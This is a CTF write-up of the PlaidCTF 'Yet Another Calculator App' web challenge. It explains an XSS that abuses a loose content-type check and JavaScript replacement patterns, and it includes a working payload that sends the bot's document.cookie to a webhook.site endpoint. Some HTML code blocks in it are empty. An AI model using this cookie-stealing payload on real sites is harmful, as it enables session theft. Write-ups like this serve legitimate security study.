# Plaid CTF: Yet Another Calculator App Participant: Peter Millauer / nitowa (01350868) ## TL;DR / Short Summary Classical XSS web exploit. The solution used special string replacement patterns to break out of string escapes. ## Task Description Type: Web Task sources: https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA Goal: Steal the cookie of the page-worker ## Analysis Steps First, I downloaded the sources and ran the program locally. For this purpose scripts were provided in `package.json`. The provided `Dockerfile` can also be used for the same effect. ## Vulnerabilities / Exploitable Issue(s) On the "Submit your Program" page we are asked to submit a program name and mathematical formula. Two formats are supported: plain formula and AST. On the server, checks are performed to make sure the values are safe, but the check for the program type is too permissive: ```javascript // index.ts const { type, program } = req.body; if ( typeof type !== "string" || type.match(/^[a-zA-Z\-/]{3,}$/) === null //<-- Any Alphanumeric(plus dashes and slashes) string with length >= 3 || typeof program.name !== "string" || typeof program.code !== "string" || program.code.length > 10000 ) { return res.status(500).send("Invalid program"); } ``` The value of `type` is then string-replaced into the template's script tag ```javascript //index.ts const formattedFile = template .replace("{{ content-type }}", type) .replace("{{ program }}", sanitizedProgram); ``` ```html ``` which for the default values results in this ```html ``` ## Solution Using the `type="application/javascript"`, we can turn the ` ``` Now all that is left is to weaponize the exploit. A simple javascript script was used and executed manually via the browser's console. In the first step I `POST` my exploit to `/upload`, which responds with the URL of the uploaded formula. I then redirect to that page. ```javascript (async() => { const response = await fetch(`http://${window.location.host}/upload`, { method: 'post', body: JSON.stringify({ type: "application/javascript", program: { name: "$'$`fetch('https://webhook.site/33a3e928-e7e0-4c82-92d0-30a375783f5b?x='+document.cookie, {method: 'get'})//", code: "a" } }), headers: { 'Content-Type': "application/json" }, }) const result = await response.text() window.location.href = `http://${window.location.host}${result}` })() ``` Since the exploit breaks the "Report" button that triggers the `page-worker` bot, I get the code of the associated `EventListener` and run it manually. ```javascript const file = location.pathname.split("/").slice(-1)[0]; fetch(`/report`, { method: "post", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ file }) }); ``` At this point the `page-worker` executes my exploit payload and sends its cookie to my defined REST endpoint. The flag value was `pctf{someone_should_document_importmaps_in_mdn_probably}`. ## Failed Attempts A great deal of effort went into reading `ast-to-js`, `eval-code.mjs`, `lex.mjs`. The first intuition was that the AST representation of the submitted code may be attackable. However even after extensive work on the files, the presented compiler seems to work as intended and appears to be safe. ## Alternative Solutions Unknown as of yet. ## Lessons Learned I learned about the string replacement template functionality (documentation see below). Truly a horrible piece of technology that I cannot believe has any other purpose for existing other than to introduce security vulnerabilities. Even as an experienced JS developer I had no idea these exist, and they easily take a top-3 spot in the "things I hate about Javascript" list. ## References Javascript string replacement templates - https://security.stackexchange.com/questions/197532/how-can-i-exploit-a-xss-vulnerability-which-doesnt-allow-me-to-type-and-sym) - https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_a_parameter